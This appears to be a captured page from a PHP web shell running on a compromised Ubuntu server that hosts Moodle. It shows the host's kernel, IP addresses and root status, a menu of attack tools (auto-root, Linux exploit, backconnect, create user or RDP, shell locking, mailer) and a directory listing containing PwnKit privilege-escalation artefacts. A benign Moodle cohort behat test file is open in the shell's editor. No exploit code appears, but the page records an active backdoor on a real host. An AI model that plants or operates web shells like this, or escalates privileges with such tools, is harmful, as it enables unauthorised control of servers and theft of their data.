Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
cohort /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
access_visible_cohorts.feature
7.7
KB
-rwxrwxrwx
add_cohort.feature
2.8
KB
-rwxrwxrwx
behat_cohort.php
2.75
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
upload_cohort_users.feature
2.23
KB
-rwxrwxrwx
upload_cohorts.feature
12.5
KB
-rwxrwxrwx
view_cohorts.feature
2.51
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : add_cohort.feature
@core @core_cohort Feature: Add cohorts of users In order to create site-wide groups As an admin I need to create cohorts and add users on them Background: Given the following "users" exist: | username | firstname | lastname | email | | user1 | First | User | first@example.com | | user2 | Second | User | second@example.com | | user3 | Third | User | third@example.com | | user4 | Forth | User | forth@example.com | And I log in as "admin" And I navigate to "Users > Accounts >Cohorts" in site administration And I follow "Add new cohort" And I set the following fields to these values: | Name | Test cohort name | | Context | System | | Cohort ID | 333 | | Description | Test cohort description | And I press "Save changes" Scenario: Add a cohort When I follow "Cohorts" Then I should see "Test cohort name" And I should see "333" And I should see "Test cohort description" And I should see "Created manually" Scenario: Add users to a cohort selecting them from the system users list When I add "First User (first@example.com)" user to "333" cohort members And I add "Second User (second@example.com)" user to "333" cohort members Then I should see "2" in the "#cohorts" "css_element" And I click on "Assign" "link" in the "Test cohort name" "table_row" And the "Current users" select box should contain "First User (first@example.com)" And the "Current users" select box should contain "Second User (second@example.com)" And the "Current users" select box should not contain "Forth User (forth@example.com)" Scenario: Add users to a cohort using a bulk user action When I follow "Accounts" And I follow "Bulk user actions" And I set the field "Available" to "Third User" And I press "Add to selection" And I set the field "Available" to "Forth User" And I press "Add to selection" And I set the field "id_action" to "Add to cohort" And I press "Go" And I set the field "Cohort" to "Test cohort name [333]" And I press "Add to cohort" And I follow "Accounts" And I follow "Cohorts" Then I should see "2" in the "#cohorts" "css_element" And I click on "Assign" "link" in the "Test cohort name" "table_row" And the "Current users" select box should contain "Third User (third@example.com)" And the "Current users" select box should contain "Forth User (forth@example.com)" And the "Current users" select box should not contain "First User (first@example.com)" @javascript Scenario: Edit cohort name in-place When I follow "Cohorts" And I set the field "Edit cohort name" to "Students cohort" Then I should not see "Test cohort name" And I should see "Students cohort" And I follow "Cohorts" And I should see "Students cohort"
Close